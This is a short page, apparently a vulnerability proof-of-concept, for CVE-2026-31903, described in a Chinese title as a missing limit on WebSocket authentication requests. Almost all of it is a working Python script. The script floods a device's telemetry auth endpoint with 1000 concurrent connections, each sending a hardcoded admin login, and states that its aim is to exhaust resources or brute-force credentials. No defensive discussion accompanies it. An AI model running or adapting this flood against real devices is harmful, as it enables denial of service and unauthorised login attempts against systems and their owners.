CVE-2026-31903 WebSocket认证请求限制缺失漏洞

import asyncio import websockets # Target WebSocket Endpoint TARGET_URI = "ws://target-device/api/telemetry/auth" async def auth_flood(): """ PoC for CVE-2026-31903 Sends multiple authentication requests to exhaust resources or brute force. """ tasks = [] print(f"Starting flooding attack on {TARGET_URI}...") # Simulate 1000 concurrent connection attempts for i in range(1000): try: # Create a connection task task = asyncio.create_task(send_auth_request(i)) tasks.append(task) except Exception as e: pass await asyncio.gather(*tasks) async def send_auth_request(id): try: async with websockets.connect(TARGET_URI) as websocket: # Send a dummy authentication payload payload = '{"username":"admin","password":"password123"}' await websocket.send(payload) response = await websocket.recv() print(f"Connection {id}: {response}") except Exception as e: # Expected if server goes down or refuses connection pass if __name__ == "__main__": # Run the PoC asyncio.run(auth_flood())